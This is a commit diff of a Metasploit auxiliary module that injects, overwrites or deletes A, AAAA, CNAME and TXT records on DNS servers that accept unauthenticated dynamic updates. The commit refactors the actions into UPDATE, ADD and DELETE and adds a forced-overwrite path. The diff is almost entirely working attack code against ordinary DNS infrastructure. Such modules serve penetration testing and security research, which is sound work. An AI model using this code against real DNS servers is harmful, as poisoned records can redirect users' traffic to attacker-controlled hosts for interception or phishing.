make usage more intuitive, remove weird defaults
parent
24c43b1822
commit
8f3c470bb3
|
@ -22,54 +22,77 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Actions' => [
|
'Actions' => [
|
||||||
['ADD', {'Description' => 'Add a new record. [Default]'}],
|
['UPDATE', {'Description' => 'Add or update a record. (default)'}],
|
||||||
['DEL', {'Description' => 'Delete an existing record.'}]
|
['ADD', {'Description' => 'Add a new record. Fail if it already exists.'}],
|
||||||
|
['DELETE', {'Description' => 'Delete an existing record.'}]
|
||||||
],
|
],
|
||||||
'DefaultAction' => 'ADD'
|
'DefaultAction' => 'UPDATE'
|
||||||
)
|
)
|
||||||
|
|
||||||
register_options([
|
register_options([
|
||||||
OptString.new('DOMAIN', [true, 'The domain name']),
|
OptString.new('DOMAIN', [true, 'The domain name']),
|
||||||
OptAddress.new('RHOST', [true, 'The vulnerable DNS server IP address']),
|
OptAddress.new('RHOST', [true, 'The vulnerable DNS server IP address']),
|
||||||
OptString.new('HOSTNAME', [true, 'The name record you want to inject']),
|
OptString.new('HOSTNAME', [true, 'The name record you want to inject']),
|
||||||
OptAddress.new('IP', [true, 'The IP you want to assign to the injected record']),
|
OptAddress.new('IP', [false, 'The IP you want to assign to the injected record']),
|
||||||
OptString.new('VALUE', [true, 'The string to be injected with TXT or CNAME record', 'w00t']),
|
OptString.new('VALUE', [false, 'The string to be injected with TXT or CNAME record']),
|
||||||
OptEnum.new('TYPE', [true, 'The record type you want to inject.', 'A', ['A', 'AAAA', 'CNAME', 'TXT']])
|
OptEnum.new('TYPE', [true, 'The record type you want to inject.', 'A', ['A', 'AAAA', 'CNAME', 'TXT']])
|
||||||
])
|
])
|
||||||
|
|
||||||
deregister_options('RPORT')
|
deregister_options('RPORT')
|
||||||
end
|
end
|
||||||
|
|
||||||
def update_record(type:, type_enum:, value:)
|
def record_action(type, type_enum, value, action)
|
||||||
# Send the update to the zone's primary master.
|
# Send the update to the zone's primary master.
|
||||||
domain = datastore['DOMAIN']
|
domain = datastore['DOMAIN']
|
||||||
fqdn = "#{datastore['HOSTNAME']}.#{domain}"
|
fqdn = "#{datastore['HOSTNAME']}.#{domain}"
|
||||||
resolver = Dnsruby::Resolver.new({:nameserver => datastore['RHOST']})
|
resolver = Dnsruby::Resolver.new({:nameserver => datastore['RHOST']})
|
||||||
update = Dnsruby::Update.new(domain)
|
update = Dnsruby::Update.new(domain)
|
||||||
|
updated = false
|
||||||
case
|
case
|
||||||
when action.name == 'ADD'
|
when action == :add
|
||||||
# Prerequisite is that no A records exist for the name.
|
|
||||||
update.absent("#{fqdn}.", type)
|
update.absent("#{fqdn}.", type)
|
||||||
# Add two A records for the name.
|
|
||||||
update.add("#{fqdn}.", type_enum, 86400, value)
|
update.add("#{fqdn}.", type_enum, 86400, value)
|
||||||
begin
|
begin
|
||||||
resolver.send_message(update)
|
resolver.send_message(update)
|
||||||
print_good("The record '#{fqdn} => #{value}' has been added!")
|
print_good "The record '#{fqdn} => #{value}' has been added!"
|
||||||
|
updated = true
|
||||||
rescue Dnsruby::YXRRSet, Dnsruby::NXRRSet, Dnsruby::NXDomain => e
|
rescue Dnsruby::YXRRSet, Dnsruby::NXRRSet, Dnsruby::NXDomain => e
|
||||||
print_error "Cannot inject #{fqdn}. The DNS server may not be vulnerable or the hostname may exist as a static record."
|
print_error "Cannot inject #{fqdn}. The DNS server may not be vulnerable or the hostname may exist as a static record."
|
||||||
vprint_error "Update failed: #{e.message}"
|
vprint_error "Update failed: #{e.message}"
|
||||||
end
|
end
|
||||||
when action == 'DEL'
|
when action == :delete
|
||||||
begin
|
begin
|
||||||
update.present(fqdn, type)
|
update.present(fqdn, type)
|
||||||
update.delete(fqdn, type)
|
update.delete(fqdn, type)
|
||||||
resolver.send_message(update)
|
resolver.send_message(update)
|
||||||
print_good("The record '#{fqdn} => #{value}' has been deleted!")
|
print_good("The record '#{fqdn} => #{value}' has been deleted!")
|
||||||
|
updated = false
|
||||||
rescue Dnsruby::YXRRSet, Dnsruby::NXRRSet => e
|
rescue Dnsruby::YXRRSet, Dnsruby::NXRRSet => e
|
||||||
print_error "Cannot delete #{fqdn}. DNS server is vulnerable or domain doesn't exist."
|
print_error "Cannot delete #{fqdn}. DNS server is vulnerable or domain doesn't exist."
|
||||||
vprint_error "Update failed: #{e.message}"
|
vprint_error "Update failed: #{e.message}"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
updated
|
||||||
|
end
|
||||||
|
|
||||||
|
def update_record(type:, type_enum:, value:, value_name:)
|
||||||
|
if value.nil? || value == ""
|
||||||
|
print_error "Record type #{type} requires the #{value_name} parameter to be specified"
|
||||||
|
return
|
||||||
|
end
|
||||||
|
case
|
||||||
|
when action.name == 'UPDATE'
|
||||||
|
if record_action(type, type_enum, value, :add) == false
|
||||||
|
print_good "Attempting to force an update to an existing record."
|
||||||
|
if record_action(type, type_enum, value, :delete) == true
|
||||||
|
record_action(type, type_enum, value, :add)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
when action.name == 'ADD'
|
||||||
|
record_action(type, type_enum, value, :add)
|
||||||
|
when action.name == 'DELETE'
|
||||||
|
record_action(type, type_enum, value, :delete)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
@ -79,13 +102,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
print_status("Sending DNS query payload...")
|
print_status("Sending DNS query payload...")
|
||||||
case
|
case
|
||||||
when datastore['TYPE'] == 'A'
|
when datastore['TYPE'] == 'A'
|
||||||
update_record(type: 'A', type_enum: Dnsruby::Types.A, value: ip)
|
update_record(type: 'A', type_enum: Dnsruby::Types.A, value: ip, value_name: 'IP')
|
||||||
when datastore['TYPE'] == 'AAAA'
|
when datastore['TYPE'] == 'AAAA'
|
||||||
update_record(type: 'AAAA', type_enum: Dnsruby::Types.AAAA, value: ip)
|
update_record(type: 'AAAA', type_enum: Dnsruby::Types.AAAA, value: ip, value_name: 'IP')
|
||||||
when datastore['TYPE'] == 'CNAME'
|
when datastore['TYPE'] == 'CNAME'
|
||||||
update_record(type: 'CNAME', type_enum: Dnsruby::Types.CNAME, value: value)
|
update_record(type: 'CNAME', type_enum: Dnsruby::Types.CNAME, value: value, value_name: 'VALUE')
|
||||||
when datastore['TYPE'] == 'TXT'
|
when datastore['TYPE'] == 'TXT'
|
||||||
update_record(type: 'TXT', type_enum: Dnsruby::Types.TXT, value: value)
|
update_record(type: 'TXT', type_enum: Dnsruby::Types.TXT, value: value, value_name: 'VALUE')
|
||||||
else
|
else
|
||||||
print_error "Invalid Record Type!"
|
print_error "Invalid Record Type!"
|
||||||
end
|
end
|
||||||
|
@ -97,5 +120,4 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
print_error("Invalid DNS reply, ensure you are connecting to a DNS server")
|
print_error("Invalid DNS reply, ensure you are connecting to a DNS server")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue